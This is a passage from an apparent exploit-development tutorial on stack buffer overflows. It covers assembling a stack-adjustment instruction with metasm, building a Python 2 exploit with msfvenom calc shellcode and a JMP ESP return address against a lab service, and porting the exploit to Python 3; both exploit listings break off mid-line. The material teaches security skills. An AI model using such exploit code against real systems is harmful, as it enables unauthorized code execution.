machine code. 1972 | 1973 | On Kali, `metasm_shell.rb` is at either: 1974 | 1975 | * `/usr/share/metasploit-framework/tools/metasm_shell.rb`; or 1976 | * `/usr/share/metasploit-framework/tools/exploit/metasm_shell.rb` 1977 | 1978 | Depending on how up to date your Kali's `metasploit-framework` package is. 1979 | 1980 | If you're running Metasploit from a copy of Rapid7's git repository (as I do), 1981 | it's in `tools/exploits/` 1982 | 1983 | \newpage 1984 | 1985 | Running `metasm_shell.rb` gives us an interactive console at which to give it 1986 | assembly instructions: 1987 | 1988 | ``` 1989 | % ~/opt/metasploit-framework/tools/exploit/metasm_shell.rb 1990 | type "exit" or "quit" to quit 1991 | use ";" or "\n" for newline 1992 | type "file " to parse a GAS assembler source file 1993 | 1994 | metasm > 1995 | ``` 1996 | 1997 | --- 1998 | 1999 | We want to move `ESP` up the stack towards lower addresses, so ask 2000 | `metasm_shell.rb` to assemble the instruction `SUB ESP,0x10` 2001 | 2002 | ``` 2003 | metasm > sub esp,0x10 2004 | "\x83\xec\x10" 2005 | ``` 2006 | 2007 | --- 2008 | 2009 | This is machine code that will "drag" `ESP` far away enough up the stack to as 2010 | to not wreck our day. Importantly, it doesn't include any of the characters 2011 | that we know to be bad (`"\x00"` and `"\x0A"`). Weighing in at a tiny 3 bytes, 2012 | it is a whole lot more slick than just chucking `NOP`'s in until things work. 2013 | 2014 | \framebox{ 2015 | \parbox{\textwidth}{ 2016 | \textbf{Pro tip}: Whenever you muck with ESP by adding to it, subtracting 2017 | from it, or outright changing it, make sure it remains divisible by 4. ESP 2018 | is naturally 4-byte aligned on x86, and you would do well to keep it that 2019 | way. 32-bit processes running on 64-bit Windows (i.e. within WoW64) get 2020 | subtly cranky when ESP is not 4-byte aligned, and various function calls 2021 | made in that state quietly fail. It has been the source of many frustrated 2022 | nights. ESP is already 4-byte aligned, and by subtracting 0x10 from it 2023 | (which is divisible by 4) we know it will remain 4-byte aligned. 2024 | } 2025 | } 2026 | 2027 | \newpage 2028 | 2029 | **Popping calc** 2030 | 2031 | Replacing the `"INT 3"` code in our exploit with this `"SUB ESP,0x10"` code, 2032 | followed by our `msfvenom` shellcode, gives us the following: 2033 | 2034 | ```{.python .numberLines} 2035 | #!/usr/bin/env python2 2036 | import socket 2037 | import struct 2038 | 2039 | RHOST = "172.17.24.132" 2040 | RPORT = 31337 2041 | 2042 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 2043 | s.connect((RHOST, RPORT)) 2044 | 2045 | buf_totlen = 1024 2046 | offset_srp = 146 2047 | 2048 | ptr_jmp_esp = 0x080414C3 2049 | 2050 | sub_esp_10 = "\x83\xec\x10" 2051 | 2052 | shellcode_calc = "" 2053 | shellcode_calc += "\xb8\x3e\x08\xbf\x9c\xdb\xdc\xd9\x74\x24" 2054 | shellcode_calc += "\xf4\x5f\x29\xc9\xb1\x31\x31\x47\x13\x03" 2055 | shellcode_calc += "\x47\x13\x83\xc7\x3a\xea\x4a\x60\xaa\x68" 2056 | shellcode_calc += "\xb4\x99\x2a\x0d\x3c\x7c\x1b\x0d\x5a\xf4" 2057 | shellcode_calc += "\x0b\xbd\x28\x58\xa7\x36\x7c\x49\x3c\x3a" 2058 | shellcode_calc += "\xa9\x7e\xf5\xf1\x8f\xb1\x06\xa9\xec\xd0" 2059 | shellcode_calc += "\x84\xb0\x20\x33\xb5\x7a\x35\x32\xf2\x67" 2060 | shellcode_calc += "\xb4\x66\xab\xec\x6b\x97\xd8\xb9\xb7\x1c" 2061 | shellcode_calc += "\x92\x2c\xb0\xc1\x62\x4e\x91\x57\xf9\x09" 2062 | shellcode_calc += "\x31\x59\x2e\x22\x78\x41\x33\x0f\x32\xfa" 2063 | shellcode_calc += "\x87\xfb\xc5\x2a\xd6\x04\x69\x13\xd7\xf6" 2064 | shellcode_calc += "\x73\x53\xdf\xe8\x01\xad\x1c\x94\x11\x6a" 2065 | shellcode_calc += "\x5f\x42\x97\x69\xc7\x01\x0f\x56\xf6\xc6" 2066 | shellcode_calc += "\xd6\x1d\xf4\xa3\x9d\x7a\x18\x35\x71\xf1" 2067 | shellcode_calc += "\x24\xbe\x74\xd6\xad\x84\x52\xf2\xf6\x5f" 2068 | shellcode_calc += "\xfa\xa3\x52\x31\x03\xb3\x3d\xee\xa1\xbf" 2069 | shellcode_calc += "\xd3\xfb\xdb\x9d\xb9\xfa\x6e\x98\x8f\xfd" 2070 | shellcode_calc += "\x70\xa3\xbf\x95\x41\x28\x50\xe1\x5d\xfb" 2071 | shellcode_calc += "\x15\x0d\xbc\x2e\x63\xa6\x19\xbb\xce\xab" 2072 | shellcode_calc += "\x99\x11\x0c\xd2\x19\x90\xec\x21\x01\xd1" 2073 | shellcode_calc += "\xe9\x6e\x85\x09\x83\xff\x60\x2e\x30\xff" 2074 | shellcode_calc += "\xa0\x4d\xd7\x93\x29\xbc\x72\x14\xcb\xc0" 2075 | 2076 | buf = "" 2077 | buf += "A"*(offset_srp - len(buf)) # padding 2078 | buf += struct.pack(" for updates. 2149 | 2150 | Good luck, have fun, and may your shells be forever plentiful. 2151 | 2152 | Justin 2153 | 2154 | 2155 | 2156 | ![This work is licensed under a Creative Commons Attribution 4.0 International 2157 | License 2158 | ](dostackbufferoverflowgood_images/cc4-by.png) 2159 | 2160 | \newpage 2161 | # Appendix A - Python 3 Support 2162 | 2163 | As mentioned at the beginning of this document, Python 2 is officially End of 2164 | Life as of 1 January 2020. The code examples in this document were 2165 | intentionally written for Python 2. If this was your first time writing a 2166 | stack buffer overflow exploit, I recommend that you use Python 2. 2167 | 2168 | However, you may wish to use Python 3 for the following reasons: 2169 | 2170 | * We're in a magical future world where it's too hard for you to install and run Python 2 2171 | * Python 2 is so old that it's misbehaving on your Operating System 2172 | * You want to learn to use Python 3 so you're ready to write more complicated, future-proof software or exploits using a supported version of Python 2173 | * You just want to challenge yourself 2174 | 2175 | If so, this section describes some of the differences between Python 2 and Python 3 that you'll need to be mindful of. 2176 | 2177 | **The shebang** 2178 | 2179 | You may have noticed that all of the code examples in this document started with the following line: 2180 | 2181 | ```{.python .numberLines} 2182 | #!/usr/bin/env python2 2183 | ``` 2184 | 2185 | This is known as a "shebang". On a Unix-based system (Such as Linux or 2186 | macOS), when you execute a script file that starts with a shebang, the 2187 | Operating System will use the contents of the line to determine which 2188 | interpreter to run the script with. In this case, the OS will execute 2189 | `/usr/bin/env` with an argument of `python2`. `/usr/bin/env` will consult 2190 | your `$PATH` environment variable, and will look through all of your `$PATH` 2191 | directories for a `python2` executable file. If it finds one (Which it 2192 | should, if you have Python 2 installed to a directory in your `$PATH`) then 2193 | your script will be executed using that copy of Python 2. 2194 | 2195 | If you want to use Python 3, you should change this line as follows: 2196 | 2197 | ```{.python .numberLines} 2198 | #!/usr/bin/env python3 2199 | ``` 2200 | 2201 | Note that you can always override the shebang by directly executing the 2202 | Python you wish to use, and passing to it the path to the script you wish to 2203 | execute. For example, the following command-line command would execute the 2204 | "script.py" file using the version of Python specified by its shebang: 2205 | 2206 | ``` 2207 | % ./script.py 2208 | ``` 2209 | 2210 | While the following would specifically execute "script.py" using Python 3: 2211 | 2212 | ``` 2213 | % python3 script.py 2214 | ``` 2215 | 2216 | \newpage 2217 | **print() is now a function in Python 3** 2218 | 2219 | In Python 2, `print` was a statement and you were able to do this: 2220 | 2221 | ```{.python .numberLines} 2222 | #!/usr/bin/env python2 2223 | print "Hello, world!" 2224 | ``` 2225 | 2226 | Running this using Python 2, we get: 2227 | 2228 | ``` 2229 | % ./hello_world.py 2230 | Hello, world! 2231 | ``` 2232 | 2233 | If you try to run this file using Python 3, you'll get an error: 2234 | 2235 | ``` 2236 | % python3 ./hello_world.py 2237 | File "./hello_world.py", line 2 2238 | print "Hello, world!" 2239 | ^ 2240 | SyntaxError: Missing parentheses in call to 'print' 2241 | ``` 2242 | 2243 | This is because `print()` is a function in Python 3. You need to surround the 2244 | value being printed using parenthesis as follows: 2245 | 2246 | ```{.python .numberLines} 2247 | #!/usr/bin/env python3 2248 | print("Hello, world!") 2249 | ``` 2250 | 2251 | Running this using Python 3, we get: 2252 | 2253 | ``` 2254 | % ./hello_world_python3.py 2255 | Hello, world! 2256 | ``` 2257 | 2258 | \newpage 2259 | **`socket.socket` sends and receives bytes in Python 3** 2260 | 2261 | In Python 2, `socket.socket` worked with "strings" 2262 | 2263 | * When you `send()` data, you must provide a string argument 2264 | * When you `recv()` data, you will get a string response 2265 | 2266 | In Python 3, due to its preference for Unicode by default, `socket.socket` 2267 | (along with many other functions) works with **bytes** instead of strings. 2268 | 2269 | Take, for example, the simple "Connect, send and receive" example from the 2270 | "Remotely interact with the running process" chapter: 2271 | 2272 | ```{.python .numberLines} 2273 | #!/usr/bin/env python2 2274 | import socket 2275 | 2276 | RHOST = "172.17.24.132" 2277 | RPORT = 31337 2278 | 2279 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 2280 | s.connect((RHOST, RPORT)) 2281 | 2282 | buf = "" 2283 | buf += "Python Script" 2284 | buf += "\n" 2285 | 2286 | s.send(buf) 2287 | 2288 | print "Sent: {0}".format(buf) 2289 | 2290 | data = s.recv(1024) 2291 | 2292 | print "Received: {0}".format(data) 2293 | ``` 2294 | 2295 | Running this using Python 2, we get: 2296 | 2297 | ``` 2298 | % ./connect_and_send.py 2299 | Sent: Python Script 2300 | 2301 | Received: Hello Python Script!!! 2302 | ``` 2303 | 2304 | If we run this script using Python 3, the first error we get is due to the 2305 | lack of parenthesis for the `print` (As discussed above): 2306 | 2307 | ``` 2308 | % cp connect_and_send.py connect_and_send_python3.py 2309 | 2310 | % python3 connect_and_send_pythn3.py 2311 | File "connect_and_send_python3.py", line 16 2312 | print "Sent: {0}".format(buf) 2313 | ^ 2314 | SyntaxError: invalid syntax 2315 | ``` 2316 | 2317 | \newpage 2318 | If we fix this, we get a new error: 2319 | 2320 | ``` 2321 | % python3 connect_and_send_python3.py 2322 | Traceback (most recent call last): 2323 | File "connect_and_send_python3.py", line 14, in 2324 | s.send(buf) 2325 | TypeError: a bytes-like object is required, not 'str' 2326 | ``` 2327 | 2328 | We can try to fix this in one of a few ways: 2329 | 2330 | * Instead of progressively building `buf` as a "string", build it as a "bytes" object using the `b` prefix 2331 | * Instead of doing `s.send(buf)`. do: 2332 | * `s.send(buf.encode("ascii"))` or 2333 | * `s.send(buf.encode("utf-8"))` or 2334 | * `s.send(buf.encode())` 2335 | 2336 | While it may be trickier and more repetitive, the first approach is 2337 | preferable to the latter ones. 2338 | 2339 | By building `buf` as a "bytes" object, we retain byte-by-byte control of the 2340 | payload (As we did in the Python 2 approach) 2341 | 2342 | If we did `s.send(buf.encode("ascii"))` it would encode `buf` using ASCII 2343 | encoding. While this might sound similar to the Python 2 behaviour, it 2344 | actually prevents us from using any byte value outside of the ASCII range, 2345 | which is from 0 to 127 (0x00 to 0x7f): 2346 | 2347 | ``` 2348 | % python3 2349 | Python 3.5.3 (default, Sep 27 2018, 17:25:39) 2350 | [GCC 6.3.0 20170516] on linux 2351 | Type "help", "copyright", "credits" or "license" for more information. 2352 | 2353 | >>> "\xde\xad\xbe\xef".encode("ascii") 2354 | Traceback (most recent call last): 2355 | File "", line 1, in 2356 | UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-3: 2357 | ordinal not in range(128) 2358 | ``` 2359 | 2360 | If we did `s.send(buf.encode("utf-8"))`, it would encode `buf` using UTF-8 2361 | encoding. For characters outside of the ASCII range, this will give 2362 | interesting results: 2363 | 2364 | ``` 2365 | % python3 2366 | Python 3.5.3 (default, Sep 27 2018, 17:25:39) 2367 | [GCC 6.3.0 20170516] on linux 2368 | Type "help", "copyright", "credits" or "license" for more information. 2369 | 2370 | >>> "\xde\xad\xbe\xef".encode("utf-8") 2371 | b'\xc3\x9e\xc2\xad\xc2\xbe\xc3\xaf' 2372 | ``` 2373 | 2374 | (This isn't `\xde\xad\xbe\xef` at all) 2375 | 2376 | If we did `s.send(buf.encode())` it would encode `buf` using your Python's 2377 | default encoding (Probably UTF-8) - which, as above, gives interesting behaviour. 2378 | 2379 | It feels inappropriate to smash bytes together into a string, then ask Python 2380 | to encode them to a bytes object for the purpose of passing to 2381 | `socket.send()`. For this reason, we should simply craft a bytes object from 2382 | the beginning. 2383 | 2384 | Instead of doing the following: 2385 | 2386 | ```{.python .numberLines} 2387 | buf = "" 2388 | buf += "Python Script" 2389 | buf += "\n" 2390 | ``` 2391 | 2392 | Do this: 2393 | 2394 | ```{.python .numberLines} 2395 | buf = b"" 2396 | buf += b"Python Script" 2397 | buf += b"\n" 2398 | ``` 2399 | 2400 | This will result in the following: 2401 | 2402 | ``` 2403 | % ./connect_and_send_python3.py 2404 | Sent: b'Python Script\n' 2405 | Received: b'Hello Python Script!!!\n' 2406 | ``` 2407 | 2408 | Our final script looks like this: 2409 | 2410 | ```{.python .numberLines} 2411 | #!/usr/bin/env python3 2412 | import socket 2413 | 2414 | RHOST = "172.17.24.132" 2415 | RPORT = 31337 2416 | 2417 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 2418 | s.connect((RHOST, RPORT)) 2419 | 2420 | buf = b"" 2421 | buf += b"Python Script" 2422 | buf += b"\n" 2423 | 2424 | s.send(buf) 2425 | 2426 | print("Sent: {0}".format(buf)) 2427 | 2428 | data = s.recv(1024) 2429 | 2430 | print("Received: {0}".format(data)) 2431 | ``` 2432 | 2433 | \newpage 2434 | **Building a "bytes" version of `badchar_test`** 2435 | 2436 | Recall that, in the "Determine bad characters" chapter, we built a string 2437 | called `badchar_test` as follows: 2438 | 2439 | ```{.python .numberLines} 2440 | badchar_test = "" # start with an empty string 2441 | badchars = [0x00, 0x0A] # we've reasoned that these are definitely bad 2442 | 2443 | # generate the string 2444 | for i in range(0x00, 0xFF+1): # range(0x00, 0xFF) only returns up to 0xFE 2445 | if i not in badchars: # skip the badchars 2446 | badchar_test += chr(i) # append each non-badchar char to the string 2447 | 2448 | # open a file for writing ("w") the string as binary ("b") data 2449 | with open("badchar_test.bin", "wb") as f: 2450 | f.write(badchar_test) 2451 | ``` 2452 | 2453 | This needs some tweaking in Python 3's world of bytes. 2454 | 2455 | `chr(i)` gives us a string-type single character in Python 3: 2456 | 2457 | ``` 2458 | % python3 2459 | Python 3.5.3 (default, Sep 27 2018, 17:25:39) 2460 | [GCC 6.3.0 20170516] on linux 2461 | Type "help", "copyright", "credits" or "license" for more information. 2462 | 2463 | >>> chr(0x41) 2464 | 'A' 2465 | 2466 | >>> type(chr(0x41)) 2467 | 2468 | ``` 2469 | 2470 | Alternatively, `bytes([i])` gives us a single bytes-type character: 2471 | 2472 | ``` 2473 | % python3 2474 | Python 3.5.3 (default, Sep 27 2018, 17:25:39) 2475 | [GCC 6.3.0 20170516] on linux 2476 | Type "help", "copyright", "credits" or "license" for more information. 2477 | 2478 | >>> bytes([0x41]) 2479 | b'A' 2480 | 2481 | >>> type(bytes([0x41])) 2482 | 2483 | ``` 2484 | 2485 | \newpage 2486 | And so our `badchar_test` generation becomes: 2487 | 2488 | ```{.python .numberLines} 2489 | badchar_test = b"" # start with an empty byte string 2490 | badchars = [0x00, 0x0A] # we've reasoned that these are definitely bad 2491 | 2492 | # generate the string 2493 | for i in range(0x00, 0xFF+1): # range(0x00, 0xFF) only returns up to 0xFE 2494 | if i not in badchars: # skip the badchars 2495 | badchar_test += bytes([i]) # append each non-badchar char to the byte string 2496 | 2497 | # open a file for writing ("w") the byte string as binary ("b") data 2498 | with open("badchar_test.bin", "wb") as f: 2499 | f.write(badchar_test) 2500 | ``` 2501 | 2502 | As an aside, you may have noticed that this code is needlessly complicated. 2503 | This was done to make the logic easier to follow for Python beginners. The 2504 | generation of `badchar_test` can be rewritten using Python generator 2505 | comprehension as follows: 2506 | 2507 | ```{.python .numberLines} 2508 | badchar_test = bytes(c for c in range(256) if c not in [0x00, 0x0A]) 2509 | ``` 2510 | 2511 | \newpage 2512 | **`struct.pack()` now returns bytes in Python 3** 2513 | 2514 | `struct.pack()` returned a string in Python 2: 2515 | 2516 | ``` 2517 | % python2 2518 | Python 2.7.13 (default, Sep 26 2018, 18:42:22) 2519 | [GCC 6.3.0 20170516] on linux2 2520 | Type "help", "copyright", "credits" or "license" for more information. 2521 | 2522 | >>> import struct 2523 | 2524 | >>> struct.pack(">> type(struct.pack(" 2529 | ``` 2530 | 2531 | While in Python 3 it now returns bytes: 2532 | 2533 | ``` 2534 | % python3 2535 | Python 3.5.3 (default, Sep 27 2018, 17:25:39) 2536 | [GCC 6.3.0 20170516] on linux 2537 | Type "help", "copyright", "credits" or "license" for more information. 2538 | 2539 | >>> import struct 2540 | 2541 | >>> struct.pack(">> type(struct.pack(" 2546 | ``` 2547 | 2548 | Since we're building a bytes-type string, this is fine for our needs. We 2549 | don't need to do anything differently here. 2550 | 2551 | \newpage 2552 | **The exploit for Python 3** 2553 | 2554 | Putting all of this together, a working exploit for Python 3 might look like 2555 | the following: 2556 | 2557 | ```{.python .numberLines} 2558 | #!/usr/bin/env python3 2559 | import socket 2560 | import struct 2561 | 2562 | RHOST = "172.17.24.132" 2563 | RPORT = 31337 2564 | 2565 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 2566 | s.connect((RHOST, RPORT)) 2567 | 2568 | buf_totlen = 1024 2569 | offset_srp = 146 2570 | 2571 | ptr_jmp_esp = 0x080414C3 2572 | 2573 | sub_esp_10 = b"\x83\xec\x10" 2574 | 2575 | shellcode_calc = b"" 2576 | shellcode_calc += b"\xb8\x3e\x08\xbf\x9c\xdb\xdc\xd9\x74\x24" 2577 | shellcode_calc += b"\xf4\x5f\x29\xc9\xb1\x31\x31\x47\x13\x03" 2578 | shellcode_calc += b"\x47\x13\x83\xc7\x3a\xea\x4a\x60\xaa\x68" 2579 | shellcode_calc += b"\xb4\x99\x2a\x0d\x3c\x7c\x1b\x0d\x5a\xf4" 2580 | shellcode_calc += b"\x0b\xbd\x28\x58\xa7\x36\x7c\x49\x3c\x3a" 2581 | shellcode_calc += b"\xa9\x7e\xf5\xf1\x8f\xb1\x06\xa9\xec\xd0" 2582 | shellcode_calc += b"\x84\xb0\x20\x33\xb5\x7a\x35\x32\xf2\x67" 2583 | shellcode_calc += b"\xb4\x66\xab\xec\x6b\x97\xd8\xb9\xb7\x1c" 2584 | shellcode_calc += b"\x92\x2c\xb0\xc1\x62\x4e\x91\x57\xf9\x09" 2585 | shellcode_calc += b"\x31\x59\x2e\x22\x78\x41\x33\x0f\x32\xfa" 2586 | shellcode_calc += b"\x87\xfb\xc5\x2a\xd6\x04\x69\x13\xd7\xf6" 2587 | shellcode_calc += b"\x73\x53\xdf\xe8\x01\xad\x1c\x94\x11\x6a" 2588 | shellcode_calc += b"\x5f\x42\x97\x69\xc7\x01\x0f\x56\xf6\xc6" 2589 | shellcode_calc += b"\xd6\x1d\xf4\xa3\x9d\x7a\x18\x35\x71\xf1" 2590 | shellcode_calc += b"\x24\xbe\x74\xd6\xad\x84\x52\xf2\xf6\x5f" 2591 | shellcode_calc += b"\xfa\xa3\x52\x31\x03\xb3\x3d\xee\xa1\xbf" 2592 | shellcode_calc += b"\xd3\xfb\xdb\x9d\xb9\xfa\x6e\x98\x8f\xfd" 2593 | shellcode_calc += b"\x70\xa3\xbf\x95\x41\x28\x50\xe1\x5d\xfb" 2594 | shellcode_calc += b"\x15\x0d\xbc\x2e\x63\xa6\x19\xbb\xce\xab" 2595 | shellcode_calc += b"\x99\x11\x0c\xd2\x19\x90\xec\x21\x01\xd1" 2596 | shellcode_calc += b"\xe9\x6e\x85\x09\x83\xff\x60\x2e\x30\xff" 2597 | shellcode_calc += b"\xa0\x4d\xd7\x93\x29\xbc\x72\x14\xcb\xc0" 2598 | 2599 | buf = b"" 2600 | buf += b"A"*(offset_srp - len(buf)) # padding 2601 | buf += struct.pack("